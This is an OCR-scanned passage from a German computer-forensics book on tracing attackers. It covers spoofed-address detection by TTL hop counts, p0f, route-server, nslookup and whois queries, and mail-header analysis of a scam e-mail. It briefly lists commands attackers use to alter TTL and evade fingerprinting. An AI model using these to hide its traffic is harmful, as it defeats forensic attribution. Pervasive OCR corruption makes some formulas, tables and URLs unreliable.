Zusatzlich zu den festgelegten Adressen, die an einer Borderfirewall
nicht auftreten sollten, gibt es noch weitere Adressen, die augenschein-
lich falsch sind. Pakete, die vorgeben, von der IP-Adresse 1.2.3.4 oder
5.6.7.8 zu kommen, sind sicherlich mit Vorsicht zu betrachten. Oft fin-
den sich in Logfiles Verursacher von Portscans, die eine IP-Adresse
23.23.23.23 oder 24.24.24.24 haben. Diese Adressen werden hiufig
bei so genannten NMAP Decoy Scans verwendet?.

9.2 Spoof Detection

Grundsitzlich gestaltet sich die Erkennung von gespooften Paketen
ohne zusitzliche Schutzmafinahmen sehr schwierig. Die zugrunde lie-
genden Protokollschwiachen wurden schon vor fast 20 Jahren
beschrieben. Dies macht es mitunter recht kompliziert, ein Paket zu
seinem wahren Absender zuriickzuverfolgen. Dies kann nur unter Mit-
arbeit der beteiligten ISPs erfolgen und setzt dort die Protokollierung
von Kommunikationsbeziehungen voraus. Der ISP kann dann zumin-
dest Aussagen dartiber treffen, uber welchen Upstream-Router das
Paket den ISP erreicht hat. Mit dieser Information muss nun dieser
Upstream-ISP befragt werden usw. Dies setzt sowohl Kooperationswil-
len als auch die Fihigkeit dazu voraus.

Bei jeder IP-Adresse, die bei erster Betrachtung von Logfiles als
moglicher Verursacher eines Angriffs identifiziert wird, sollte daran
gedacht werden, dass die Absenderadresse moglicherweise gefalscht
sein konnte.

9.2.1 Traceroute Hopcount

Diese Technik beruht auf der Tatsache, dass die meisten Angreifer
nicht genau wissen, wie viele Hops zwischen dem angegriffenen Sys-
tem und der zufillig gewihlten, gespooften IP-Adresse liegen. Der
Nachteil dabei ist, dass man bei der Analyse die Initial-TTL> raten
muss. Jedes Betriebssystem hat seine eigene bekannte Initial-TTL. Lei-
der kann diese aber fast immer manuell definiert werden. Das folgende
Verfahren kann angewendet werden, wenn man iiber einen IDS-Mit-

4. Max Vision schrieb in »NMAP: Decoy Analysis« —
(bttp:/lwww. whitehats.com/library/mmap/index.btml) »My test decoys
(23.23.23.23 and 24.24.24.24) are not active hosts, and so would not generate
the expected RST packets.« Nachahmer verwenden daher oft diese Adressen.

5. TTL: Time to Live, Anzahl der Hops, die ein IP-Paket maximal in einem Netzwerk
transportiert werden kann.
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schnitt oder Logeintrige verfiigt, die die IP-Optionen des Pakets pro-
tokolliert haben.

Schritt 1: Der implizite Hopcount des empfangenen Pakets muss
berechnet werden: Initial TTL minus beobachtete TTL
(wenn das Paket empfangen wurde). Hierbei muss die Ini-
tial TTL geraten werden, da nicht bekannt ist, von wel-
chem Betriebssystem der Angriff durchgefithrt wurde oder
ob die Initial TTL eventuell auf dem angreifenden System
modifiziert wurde.

Schritt 2: Mit einem Traceroute zur verdichtigen IP-Adresse erhilt
man den aktuellen Hopcount. Besteht nun eine erhebliche
Differenz zum vorher berechneten Hopcount, ist von einer
gespooften Adresse auszugehen.

Beispiel:

Folgender Protokollmitschnitt wurde gefunden:
05/05-08:23:43.004390 195.22.130.4:1342 -> 217.110.47.226:22
TCP TTL:122 T0S:0x0 ID:41396 IpLen:20 DgmLen:44 DF

xxxxEk*S* Seq: 0x143967 Ack: 0xO Win: 0x2000 Tcplen: 24
TCP Options (1) => MSS: 1460

Wird als angreifendes Betriebssystem Windows NT 4.0 vermutet (die
anderen protokollierten IP-Parameter sprechen dafiir), wird von der
Initial TTL 128 der beobachtete Wert 122 abgezogen. Der lokale Hop
des eigenen Borderrouters wird addiert, um auf eine Entfernung von 7
Hops zu kommen. Dies bedeutet, dass der Angreifer 7 Hops von der
eigenen Netzgrenze entfernt zu finden sein muss:

(Initial TTL) — (beobachtete TTL) + (1) = Hop Count
(128 )= (122) + (1) = 7

Wird nun ein Traceroute auf diese IP-Adresse durchgefiihrt, ist anhand
der wirklichen Hop-Entfernung zu erkennen, ob das protokollierte
Paket tatsachlich von der angenommenen IP-Adresse stammt.

Default-Werte der Initial TTL

Im Folgenden werden die Default Initial TTL einiger Betriebssysteme
gezeigt6:

6. Siehe u.a. auch http:/www.map2.ethz.chimap-doc/fip-probleme.htm
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Abb. 9-1

Einige Default Initial
TTL verschiedener
Betriebssysteme

pOf

Angreifer verdndern
die Initial TTL.

TTL Betriebssystem

255 Solaris 2.6 or 2.7, Cisco 10S

128 Windows 2000, Windows ME

64 Anonymizer.com proxy (evtl. Unixware?)

64 AOL proxy, Compag Tru64 UNIX V5.1 (Rev. 732)
64 Irix 6.x

64 FreeBSD 4.3, 4.4, OpenBSD 3.0

64 AlX 3.2,4.2,4.3

64 Linux 2.0, 2.2,2.4

32 Windows CE 3.0 (Ipaq 3670)

Das Passive-Fingerprinting-Tool p0f’ arbeitet mit einer Datenbank, in
der neben der Initial TTL auch andere Default-TCP-Parameter von
einigen Betriebssystemen enthalten sind. Mochte man z.B. mehr tiber
das angreifende System herausbekommen, ist pOf ein gutes Hilfsmittel.
POf ist ein Linux-Kommandozeilentool, das im Promiscuous Mode
den lokalen Netzwerkverkehr analysiert. Dabei vergleicht pOf die
Parameter der mitgeschnittenen SYN-Pakete mit der eigenen Daten-
bank, um das entfernte Betriebssystem zu erkennen. Zusatzlich ver-
sucht pOf selbststandig anhand der Hops die Entfernung des Hosts zu
»erkennen«. Im Vergleich zu anderen OS-Fingerprinting-Tools verhalt
sich pOf lautlos, d.h., es wird kein einziges Paket generiert, das den
Angreifer warnen konnte.

Die Default-Werte konnen aber durch Systemmodifikationen ver-
andert werden. Angreifer, die eine Passivanalyse erschweren wollen,
andern oft die Initial TTL des eigenen Systems auf einen anderen Wert,
zum Beispiel mit:

Solaris:  ndd -set /dev/ip ip_def_ttl 'number

Linux: echo 'number' > /proc/sys/net/ipv4/ip_default_ttl

Windows: HKEY_LOCAL_MACHINE/System/CurrentControlSet/
Services/T cpip/Parameters/Default TTL

Probleme mit Traceroute Hopcounting

Probleme konnen auch entstehen, wenn Provider nicht verhindern,
dass RFC1918-Adressen Antworten in das Internet schicken konnen.
Traceroute-Ergebnisse konnen dabei verfalscht werden, wie an dem
wahllosen Beispiel in Abbildung 9-2 zu erkennen ist.

7. Michal Zalewski <lcamtuf@gis.net>, William Stearns wstearns@pobox.com,
hitp:/lwww.stearns.org/pOf/
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Enter HostURL: I 21614418967 Start Trace ﬂl v Show Details
Bericht fiir 216.144.196.7 [ip196-7.ip2go.net]

Analyse: Die IP-Pakete gehen nach dem Metzwerk "(private Benutzung)' bei Sprung 11 verloren . Es liegen

nicht ausreichend Cache-Informationen vor, um das nachste Netzwerk bei Sprung 12 festzustellen.

Spru|% Yerh|IP-Adresse Bezeichnung d{Lage Feizollms  |Grafik  |[Metzwerk

0 192.168.0.100 |petrus2000  |villingen-Schwenr|+01:0( u 1 private Benutzung)

1 192168.02 |- Yillingen-Schwenr|+01:0()0 (private Benutzung)

2 100

3 217548884 |- (Germany) +01:00|62 Deutsche Telekom AC

4 217.2371541 (- (Germany) +01:010|46 Deutsche Telekorn AC

g B2.156.131.14 [Ny C-owl 4,05 | Mew York, MY, LS(-05:00)148 Deutsche Telekom AC

1 656919245 |- 144 Lewvel 3 Communicatic

T 641591181 |s0-0-3-0.bbri [|40.44n, 7400w 140 Lewvel 3 Communicatic

a 64.159.0193 |s0-0-0-0.mp1.1|42.28n, 83.14w 187 Level 3 Communicatic

9 B4.159.0.202 |gige9-0.hsipac|42.28n, 8314w 188 Lewvel 3 Communicatic

10 63.211.20.894 (unknown.Leve |- 187 Level 3 Communicatic

11 172.16.0.6 - . 207 (private BEenutzung)

7 216.144 196.7 [ip1 96-F.ip2go.|.. IP2GO.MNET IP2G0-1-1

9.3 Routen validieren

Wenn eine IP-Adresse nicht iber das Internet erreichbar ist, kann dies
auch bedeuten, dass auf wichtigen Internet-Backbone-Routern keine
entsprechenden Routen vorhanden sind. Dies macht es auch unwahr-
scheinlich, dass von dieser IP-Adresse ein Angriff ausgegangen ist. Es
existieren mehrere Systeme, die eine Abfrage von zentralen Routing-
Informationen ermoglichen. Eine Sammlung solcher Looking Glass
Sites findet sich unter htip://www.ripe.net/data-tools/stats/ris/. Hier
lassen sich die Routing-Tables wichtiger Core-Router einsehen (teil-
weise mit anonymem Telnet-Zugriff). Uber eine entsprechende
Abfrage kann man schnell erfahren, ob fiir die verdachtige IP-Adresse
tiberhaupt eine Route existiert.

# telnet route-server.ip.att.net

Trying 12.0.1.28...

Connected to route-server.cbbtier3.att.net (12.0.1.28).
Escape character is '~]'.

cc

#i####E######E route-server.ip.att.net ########FHERHSS

#########  ATET IP Services Route Monitor ###########

This router maintains peerings with customer-facing routers

throughout the AT&T IP Services Backbone:
12.123.21.243  Atlanta, GA
12.123.41.250  Cambridge, MA

12.123.133.124 Austin, TX
12.123.5.240 Chicago, IL

12.123.17.244  Dallas, TX 12.123.139.124 Detroit, MI
12.123.37.250  Denver, CO 12.123.134.124 Houston, TX
12.123.29.249  Los Angeles, CA 12.123.1.236 New York, NY
12.123.33.249  Orlando,FL 12.123.137.124 Philadelphia, PA

12.123.142.124 Phoenix, AZ 12.123.145.124 San Diego, CA -

Abb. 9-2

RFC1918-Netze innerhalb

einer Route

Gibt es liberhaupt eine

gliltige Route?



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielféaltigung.

326 9 Backtracing
12.123.13.241  San Francisco, CA 12.123.25.245 St. Louis, MO
12.123.45.252  Seattle, WA 12.123.9.241 Washington, DC

This router has the global routing table view from each of the above
routers, providing a glimpse to the Internet routing table from the
AT&T network's perspective.
*** Please Note:
Ping and traceroute delay figures measured with this box are unreliable,
due to the high CPU load this box experiences when complicated "show" commands
are being executed.
For questions about this route-server, send email to: jayb@att.com
##th# A route-server.ip.att.net #####FEH#FERE-ERAES
route-server>show ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, 0 - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP
i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area
* - candidate default, U - per-user static route, o - ODR
Gateway of last resort is 12.0.1.1 to network 0.0.0.0
216.102.190.0/24 [20/0] via 12.123.1.236, 4d23h
208.221.13.0/24 [20/0] via 12.123.1.236, 4d23h
206.51.253.0/24 [20/0] via 12.123.1.236, 4d23h
205.204.1.0/24 [20/0] via 12.123.45.252, 3d01h
204.255.51.0/24 [20/0] via 12.123.1.234, 4d23h
204.238.34.0/24 [20/0] via 12.123.1.236, 4d23h
204.17.221.0/24 [20/0] via 12.123.1.234, 4d23h
203.238.37.0/24 [20/0] via 12.123.1.234, 3d17h
203.34.233.0/24 [20/0] via 12.123.1.236, 4d23h
200.68.140.0/24 [20/0] via 12.123.1.236, 4d23h
198.17.215.0/24 [20/0] via 12.123.1.236, 4d23h
192.68.132.0/24 [20/0] via 12.123.1.236, 4d23h
170.170.0.0/16 is variably subnetted, 3 subnets, 3 masks
170.170.0.0/19 [20/0] via 12.123.13.241, 3dllh
170.170.224.0/20 [20/0] via 12.123.1.236, 4d23h
170.170.254.0/24 [20/0] via 12.123.13.241, 3d1lh
216.239.54.0/24 [20/0] via 12.123.1.234, 4d23h
216.103.190.0/24 [20/0] via 12.123.29.249, 4d06h
213.239.59.0/24 [20/0] via 12.123.5.240, 2d08h
212.205.24.0/24 [20/0] via 12.123.45.252, 14:36:23
207.254.48.0/24 [20/0] via 12.123.1.236, 4d23h
205.152.84.0/24 [20/0] via 12.123.1.236, 4d23h
203.254.52.0/24 [20/0] via 12.123.13.241, 5d12h
203.1.203.0/24 [20/0] via 12.123.1.236, 4d23h
202.1.202.0/24 [20/0] via 12.123.29.249, 3d15h
198.205.10.0/24 [20/0] via 12.123.1.234, 4d23h
198.69.130.0/24 [20/0] via 12.123.1.234, 4d23h
192.35.226.0/24 [20/0] via 12.123.1.236, 4d23h
--More--

00 00 D0 0 D0 0 0 0 0 0 W W

0 00 D0 0 D0 0 0 0 0 0 0 0 0 o W

Abb.9-3  Beispielhafte Abfrage der Routen auf einem dafiir 6ffentlich zugdnglichen Core-
Router von AT&T

Wenn man die verschiedenen Routing-Wege zur verdichtigen IP-
Adresse erkunden mochte, kann man ebenfalls auf verschiedene
offentliche Dienste zurtickgreifen:
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http://www.visualware.com/visualroute/livedemo.html
http://www.samspade.org

http://network-tools.com

http://lg.above.net/

Zioixf|  Abb.9-4

. Fle Edt wiew Go Bockmarks Tooks Window Hep ‘

Traceroute (iber das
i G O @ 0 ‘%httD‘ﬂfwww.samsuade.ur\;ft/traceh:Zl&.144‘196.7 | ‘fgo
D

WWW-Interface von
ﬂ" % 55 traceroLte 216.144.196.7 1 ]
SamSpade.org

I Softuare developer?

Run an sbuse desk and need tools?

Heed an email campaign
Need an abuse desk |

traceroute 216.144.196.7
216144 15967 Traceroute,

Do not contact either Los Nettos (In.net) or Centergate Research Group (centergate.com) based on the results of this traceroute.

3 130.152.160.21 2.770 ms  isi-1-Ingws-arm.ln.net [AS226) Los Mattos origqin &S
4 188.172.117.161 3.374 ms ge-z-3-0.a02.lsancadi.us.ra.verio.net [A52314] Verio

S 129.250.46.12) 7.618 ms  Qe-1-2-0.a00.)5ancany.us.ra.verio.net [AS2914] veris

3 1238.2580.28.11¢ 10,643 ms Qe-z-0-0.a02.1sancadl.us.ra.verio.net [A52314] Verio

7 129.250.29.136 7.966 M5  Xe—1-0-0-4.r21.15anca0l.us.bb.verio.net (DNS error) [AS2814] Yerio

& . 100.242 ms plé-0.level2.lsancadl.us.bb.verio.net [AS2314] Verie

6.301 ms  50-4-3-0.mp2.losAngelesl.level3.net [AS2057,/A53356] Level 3 public TP network in Europe / Level 3
72,176 ms 50-0-1-0.mpz2.Detroitl.Level3.net [ASS057/M53256] Level 2 public IP network in Europe # Level 2 Com

72.194 s giges-i.hsip 1.0etroitl.leveld.net [ASINST/AS3ISE] Level 3 public IP netwark in Eurcpe / Leu
72,282 ms  unknown.Level3.net (Fake rDNS) [AS33EE/AS30E7] Level 2 Communications Morth America / Level 3 public
78.323 ms DNS error

Sam Spade Home @ Contact Change Skin - Search

Mail me this page

il I 3
== ARz I EaEil

Ein Spoof-Beispiel

Im folgenden fiktiven Beispiel gehen wir davon aus, dass in einem Log-
file die IP-Adresse 182.34.4.3 als moglicher Absender eines Daten-
pakets gefunden wurde. Der erste Schritt der Verifikation der IP-
Adressen ist die Abfrage der Routing- und Whois-Daten (siehe auch
Abschnitt 9.5) Es zeigt sich nun, dass es sich um eine reservierte und
nicht-geroutete Adresse handelt, die demzufolge hochstwahrscheinlich
von einem Angreifer gespooft wurde:

# telnet route-server.ip.att.net

Trying 12.0.1.28...

Connected to route-server.cbbtier3.att.net (12.0.1.28).

Escape character is '~]'.

[...]

tHt## AR A#AEF route-server.ip.att.net #E#E#FRFFHFRERARAAE
route-server>show ip route 182.34.4.3

% Network not in table

route-server>

Abb.9-5  Abfrage der Route zur verddchtigen IP-Adresse auf einem Core-Router
(Ergebnis: keine Route vorhanden)
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Abb. 9-6
Abfrage der Route

zur verddchtigen
IP-Adresse (iber ein
WWW-Interface
(Ergebnis: keine Route
vorhanden - »Network
not in table«)

inix]
. File Edt View o Bookmerks Tools Window Help ‘
4 @o Q @ Q _\% httpjnitrous. algx.net/egr-binjlooking_lass.l ; | & 3 .
P [ | _ _ _ _ _
) [ S hetpitrous.slg ne. J-binflocking_alass.pl | %]
(=
(+i -8 source for Business Telecom
allegiancetelecom,inc., v
Welcome to Allegiance Internet g
About Allegiance § Business Solutions J Internet Services | Wholesale | Customer Service
MAE-West Looking Glass Results
Query: bop
Addr: 152.34.4.3
% Metwark notin table
""" " Home | Legal and Regulatory | ContactUs
Copyright 2002 Allegiance Telecom, Inc.
¥
m o A«E | -

Die Abfrage der Whois-Datenbank bei ARIN ergibt, dass es sich bei
der verdichtigen IP-Adresse um eine IANA-reservierte Adresse han-
delt, die im Internet nicht auftauchen diirfte und demzufolge bei die-

sem Angriff gefdlscht wurde.

$ whois -h whois.arin.net 182.34.4.3

OrgName: Internet Assigned Numbers Authority
OrgID: IANA

Address: 4676 Admiralty Way, Suite 330

City: Marina del Rey

StateProv: (A
PostalCode: 90292-6695

Country: us

NetRange:  182.0.0.0 - 182.255.255.255
CIDR: 182.0.0.0/8

NetName: NET182

NetHandle: NET-182-0-0-0-0

Parent:

NetType: IANA Reserved

Comment:

RegDate: 1993-05-01

Updated: 2003-04-06

OrgTechHandle: IANA-ARIN

OrgTechName:  Internet Corporation for Assigned Names and Number
OrgTechPhone: +1-310-823-9358
OrgTechEmail: res-ip@iana.org

# ARIN WHOIS database, last updated 2003-04-20 20:10
# Enter ? for additional hints on searching ARIN's WHOIS database.

Abb.9-7  Whois-Query nach der verddchtigen IP-Adresse
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9.4 Nslookup

Ein Reverse DNS8-Lookup mit nslookup kann unter Umstinden den
Domain-Namen der zu ermittelnden IP-Adresse hervorbringen. Hat
man den Domain-Namen, kann man als Nachstes die Start-of-Autho-
rity’-Informationen (SOA) abfragen und sich so immer zu einem ver-
antwortlichen Ansprechpartner vorarbeiten.

# nsTookup

> set type=ptr

> 103.5.232.217.in-addr.arpa
Server: 217.110.47.17
Address: 217.110.47.17#53
Non-authoritative answer:

103.5.232.217.in-addr.arpa name = pDI9E80567.dip0.t-ipconnect.de.

Diese »in-addr«-DNS-Anfrage gibt uns in unserem fiktiven Beispiel'?

zu einer IP-Adresse den Domain-Namen. Hier ist das »t-ipcon-
nect.de«.

> set type=soa

> 103.5.232.217.in-addr.arpa

Server: 217.110.47.17

Address: 217.110.47.17#53

Non-authoritative answer:

*** Can't find 103.5.232.217.in-addr.arpa: No answer

Um hier sicherzugehen, dass wir nach dem SOA-Kontakt suchen, wird
dieses mit set type=soa explizit angegeben. Wie zu erwarten, gibt es fur
diese IP-Adresse keinen gesonderten SOA-Eintrag.

Bekommt man keine SOA-Informationen, sollte ein hdoheres
»Class-Level « tiberpriift werden. Hierzu wird bei den Anfragen jeweils
das nichste Oktet weggelassen. In diesem Beispiel bringt die Anfrage
nach 217.232.5 den erwiinschten SOA-Eintrag mit Informationen
iiber den zustindigen DNS-Server und die Mailadresse eines administ-
rativen Ansprechpartners. Die Abfrage von 217.232. bringt die
entsprechenden Informationen des niachsthoheren Levels usw.

8.  Domain Name System

9. Der Start-of-Authority-Eintrag enthilt Informationen iiber die DNS-Zone. Jede
DNS-Zone enthilt einen SOA-Eintrag und liefert u.a. Informationen iiber den
DNS-Server, der diese Zone verwaltet, und dariiber, wer der administrative
Ansprechpartner ist.

10. Der Einfachheit halber hat der Autor seine eigene Dialup-IP-Adresse fiir die
Abfrage verwendet.

Domain-Name und
SOA-Informationen
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Welcher Whois-Server ist
zustdndig?

> 5.232.217.in-addr.arpa
Server: 217.110.47.17
Address: 217.110.47.17#53
Non-authoritative answer:
5.232.217.in-addr.arpa
origin = dnsOl.btx.dtag.de
mail addr = hostmaster.t-online.de
serial = 2003041600
refresh = 86400
retry = 1800
expire = 3600000
minimum = 86400
> 232.217.in-addr.arpa
Server: 217.110.47.17
Address: 217.110.47.17#53
Non-authoritative answer:
232.217.in-addr.arpa
origin = pns.dtag.de
mail addr = dnsadmin.nic.dtag.de
serial = 2003032402
refresh = 86400
retry = 7200
expire = 3600000
minimum = 172800

9.5 Whois

Wenn die Reverse-Abfrage des DNS der verdachtigen IP-Adresse keine
verwendbaren Ergebnisse liefert, sollte im nachsten Schritt eine Whois-
Datenbank hinzugezogen werden. Einige dieser Datenbanken kénnen
uber eine WWW-Schnittstelle abgefragt werden, alle jedoch mit einem
Whois-Client iiber den TCP-Port 43. Whois werden normalerweise
zwei Argumente tibergeben: die Domain oder IP-Adresse, tiber die eine
Auskunft gewiinscht ist, und der abzufragende Datenbank-Server. Es
existieren zwei verschiedene Whois-Programme mit etwas unter-
schiedlicher Syntax:

whois domain.de@whois.server.net

oder
whois -h whois.server.net domain.de.

Aber woher weif§ man, welcher Whois-Server zustindig ist? Wer eine
Internet-Domain oder eine IP-Adresse erwirbt, registriert diese bei
einem zentralen Datenbankverwalter, einer so genannten Registry.
Welche Registry das im konkreten Fall ist, hingt von der Top-Level-
Domain (TLD) ab; fiir .de-Domains ist es das »Deutsche Network
Information Centre« (DENIC eG). Fiir IP-Adressen existieren vier ver-
schiedene Organisationen: Die » American Registry for Internet Num-
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bers« (ARIN) ist fiir Nord-, Mittel- und Siidamerika zustindig, die
Vereinigung der »Réseaux IP Européens« (RIPE) fiir Europa, fir
Lateinamerika und einige karibische Inseln die »Regional Latin-Ame-
rican and Caribbean IP Address Registry« (LACNIC) und das »Asia
Pacific Network Information Centre« (APNIC) fur Asien. Jede Regis-
try betreibt ihren eigenen Whois-Server.

Eine Liste der verfigbaren Whois-Server und ihre TLD-Zustandig-
keit kann man unter ftp://sipb.mit.edu/publwhois/whois-servers.list
oder  http:/fwww.domaininformation.de/sl.html?id=1061 einsehen.
Selbst erfragen kann man die Zustiandigkeiten fiir die TLD auch mit
whois: z.B. fiir die TLD ».de« mit whois —h whois.iana.org de.

Eine automatische Suche in mehreren Whois-Datenbanken fiihrt
zum Beispiel der Whois-Proxy von Geektools durch (http://www.geek-
tools.com/whois.php) (siche Abb. 9-8).

Bei der Auswertung der Daten aus den Whois-Datenbanken wer-
den immer wieder veraltete Informationen gefunden. Wenn man sich
nicht sicher ist, ob der Eintrag fiir technischen bzw. administrativen
Kontakt aktuell ist, kann man seine Beschwerde auch an den Mailalias
»abuse« senden. Man sollte davon absehen, eine Informationsmail an
den Root-Account des vermuteten Hosts zu mailen, da anzunehmen
ist, dass der Angreifer die Administratormail liest. Hier ist ein beherz-
ter Telefonanruf vorzuziehen.
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9.6 E-Mail-Header

Eine E-Mail, die von einem Tatverdachtigen verschickt oder auf einem
kompromittierten Server gefunden wurde, kann anhand von spezifi-
schen Informationen im Mail-Header analysiert werden. Diese The-
matik wird auch durch den weiter ansteigenden Berg an unverlangten
Werbemails immer bedeutender. Der Header einer E-Mail bildet sozu-
sagen den Briefkopf, dem man beispielsweise Absender, Empfinger,
Datum und Betreff entnehmen kann. Wichtig ist dabei: Diese Angaben
sind einerseits vollig beliebig durch den Absender einstellbar, anderer-
seits miissen sie nicht mit den Angaben im Umschlag tibereinstimmen.
Dieses Thematik wird hier nicht abschlieffend behandelt und kann
demzufolge nur zur Ubersicht dargestellt werden.

Bei der Analyse einer verdichtigen E-Mail sind — neben der Ana-
lyse des eigentlichen Inhalts — die folgenden Grundsitze anzuwenden:

Der komplette E-Mail-Header muss eingesehen werden.

Der Inhalt des Felds »Received:« sollte eingehender analysiert wer-
den. Es finden sich mehrere »Received:«-Felder in einem Mail-
Header. Das oberste Feld wird durch den Mail Transfer Agent
(MTA) erzeugt, der die Mail als Letzter in der Kette transportiert
hat. Das letzte »Received:«-Feld im Header stammt von dem
MTA, der die Mail als erster MTA weitergeleitet hat. Normaler-
weise ldsst sich so der Mail-Transport iiber mehrere MTA-Statio-
nen nachvollziehen.

Eine Whois-Recherche ergibt, zu welcher Organisation die IP-
Adressen aus dem Header gehoren.

Kontaktaufnahme zu den jeweiligen Verantwortlichen der Organi-
sation (Verifizieren, welcher Anwender zum fraglichen Zeitpunkt
die verdichtige IP-Adresse verwendet hat).

@ Return-Path: jdoe@hotmail.com

# Received: from openrelay.com ([123.123.123.123]) by mailhost.meinServer.de (8.8.5/8.8.5) with SMTP id
SAA26781 for <ich@meinServer.de>; Sat, 05 Aug 2002 04:21:31 +0100

® Received: from spam.spammer.com ([234.234.234.234]) by openrelay.com with SMTP (Microsoft Exchange Internet
Mail Service Version 5.5.2650.21); Sat, 5 Aug 2002 05:16:04 +0200

@ Received: from some.fake.place.org[111.222.333.444];1 Aug 2002 01:55:20 +0000

® To: eatyourspam@gmx.net

From: <jdoe@hotmail.com>

® Message-ID: <00d23051603878Gopenrelay.com>

Subject: Earn $50,000 in only 10 Days !!

Date: 5 Aug 2002 05:16:49 +0200

@

Dear Sir,

I am Dr.Grace Lawal (Phd) Bank Manager of Zenith Bank,Lagos, Nigeria. I have urgent and very confidential
business proposition for you.

[...]

Abb.9-9  Mail-Header-Beispiel
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Am Beispiel in Abbildung 9-9 lasst sich der Aufbau eines Mail-Header
gut erkldren:

Zeile 1: Der Versender mochte gern, dass simtliche Bounce-Mail an
diese Adresse geht. Diese Adresse ist in der Regel gefdlscht
oder gehort einer unschuldigen Person. Kontakt vermutlich
zwecklos. Diese Zeile sollte, wenn sie existiert, ganz am
Anfang der E-Mail stehen. Sie enthilt den Envelope-From,
der aber beliebig angegeben werden kann.

Zeile 2: Das erste »Received:«-Feld enthilt den Mailserver des eige-
nen ISP oder der eigenen Organisation. Das erste »Recei-
ved:«-Feld im Header zeigt den Mailserver, der die Mail als
letztes entgegengenommen hat. Es ist an diesem Feld auch zu
erkennen, welcher externe Mailserver diese Mail in der eige-
nen Organisation abgeliefert hat. Normalerweise steht hier
die IP-Adresse eines offenen Relay-Servers.

Der eigene Mailserver des Empfingers (hier »mailhost.meinSer-
ver.de«) hat diese E-Mail empfangen (»Received by«). Die Angabe in
Klammern gibt dabei (Namen und) Version des dort laufenden MTA
an. (In diesem Beispiel handelt es sich um das immer noch weit verbrei-
tete Programm »sendmail«.) Empfangen wurde per SMTP mit der
internen Kennnummer »SAA26781« (was hier bedeutungslos ist).
Zusitzlich wird hier der Envelope-To wiedergegeben. AufSerdem fin-
det sich der Zeitpunkt, zu dem die Mail einging. Ob diese Angaben
hier stehen, ist einmal vom verwendeten MTA und zum anderen davon
abhingig, ob die Mail nur an einen oder an mehrere Empfanger auf
demselben Server ging. Im letzteren Fall fehlt die Angabe des Emp-
fangers oft, einige Mailserver erzwingen diese Angabe aber, was es
einem ermoglicht herauszufinden, welche Zieladresse genau verwen-
det wurde.

Hinweis zu Servernamen im Mail-Header

Das Format ist leider nicht ganz einheitlich. Eigentlich gilt immer: In den
eckigen Klammern findet man die IP-Adresse des abliefernden Rechners.
AuBerdem ist angegeben, wie dieser sich vorgestellt hat (die Angabe aus
dem HELO-Parameter beim SMTP-Transfer). Einige Mailserver iberpru-
fen, ob die IP-Adresse und der beim HELO Ubergebene Hostname Uber-
einstimmen

Received: from modemcable033.196-203-24.mtl.mc.videotron.ca
(HELO tweOcf) (24.203.196.33) by [...]
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Wenn HELO und Realitat Gbereinstimmen, kann es vorkommen, dass der
HELO-Parameter nicht angegeben wird. Dann findet sich nur die IP-
Adresse und der als richtig festgestellie Name des einliefernden Servers
im Header. Andererseits geben manche MTA nur den méglicherweise
gefalschten HELO-Parameter und die echte IP-Nummer an, ohne die Kon-
sistenz beider Daten zu Uberprifen. Auch ist es méglich, dass die Reihen-
folge der Angaben genau umgekehrt ist (zuerst HELO, dann tatsachliche
Angabe). Leider gibt es immer noch altere MTA, die auBer dem beliebig
falschbaren HELO keine weiteren Informationen in den Header schreiben.
Hier kann man dann nur noch durch das Lodfile des Mailservers Klarheit
erlangen.

Zeile 3:

Zeile 4:

Zeile 5:

Zeile 6:

Zeile 7:

Dieses »Received:«-Feld ist entweder ein weiterer offener
Relay-Server oder der Absender selbst. Diese IP-Adresse
sollte im DNS oder Whois verifiziert werden. Hier konnte
eine weitere Nachforschung zum Erfolg fithren.

Einige Spammer fugen weitere gefdlschte »Received: «-Felder
hinzu, um die eigenen Spuren zu verwischen. Taucht der dort
angezeigte Mail-Server nicht in der vorherigen »Received:«-
Zeile auf, ist dieser komplette Eintrag hochstwahrscheinlich
gefilscht.

Es ist selten, dass diese Zeile nicht gefilscht ist. Fur die
eigentliche Adressierung wird die BCC-Funktion (Blind Car-
bon Copy) verwendet. Dabei wird die Mail zwar an den
Empfinger zugestellt, dieser aber nicht im Header vermerkt.

Die Message-ID ist eine eindeutige Kennung der E-Mail, ver-
gleichbar mit einer Seriennummer. Sie sollte normalerweise
aus einer unverwechselbaren Zeichenfolge und einem Rech-
nernamen, durch das Zeichen »@« getrennt, bestehen. Hiufig
wird die Message-ID bereits vom Mailprogramm des Absen-
ders erzeugt. Fehlt sie, wird sie durch die meisten Mailserver
nachgetragen. Da die Message-ID einfach zu falschen ist, ist
sie kein eindeutiger Beleg fiir den tatsidchlichen Absender.

Der eigentliche Text. Hier ein Fall der allseits bekannten

Nigeria—Connection1 1

Es konnen sich aber noch weitere Informationen aus Mail-Headern
ablesen lassen. Die eingehendere Beschreibung wiirde den Rahmen
dieses Buches aber sprengen. Ein guter Startpunkt fiir eine weitere
Recherche ist z.B. die bereits erwahnte Website der TU Berlin oder
auch Abuse.net.

11. Siehe auch hitp:/fwww.tu-berlin.de/www/software/boax/419.shtml
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Das folgende Kapitel ist unter der Mitwirkung von Kriminalhaupt-
kommissar Stefan Becker! entstanden.

Dieses Kapitel wird erldutern, welche Vorteile es hat, wenn man
sich frihzeitig entscheidet, ob und wie man die moglichen Taiter zur
Verantwortung zieht. Es wird verdeutlicht, welche — oft irreparablen —
Konsequenzen ein Zogern in diesem Punkt bedeuten kann. Der Téter
kann dann namlich in der Regel nicht zur Verantwortung gezogen
werden. Da es oft Vorbehalte gibt, nach einem Computereinbruch die
Polizei zu informieren, werden dem Leser in diesem Kapitel Zusam-
menhinge der behordlichen Ermittlungsarbeit erldutert. Diese Trans-
parenz wird dazu beitragen, dass sich die betroffenen Unternehmen
korrekt verhalten und somit ihren Beitrag zur Aufklirung des Vorfalls
und vielleicht auch zur Ermittlung des Taters leisten konnen.

10.1 Organisatorische Vorarbeit

Bei der Bearbeitung von Fillen aus dem Bereich der Computerkrimina-
litat ist festzustellen, dass die Betroffenen i.d.R. nur unzureichend
oder gar nicht auf einen Schadensfall vorbereitet sind. Die Mitarbeiter
oder Entscheidungstriger der meisten Unternehmen befassen sich erst
dann mit dieser Problematik, wenn bereits ein grofler Schaden entstan-
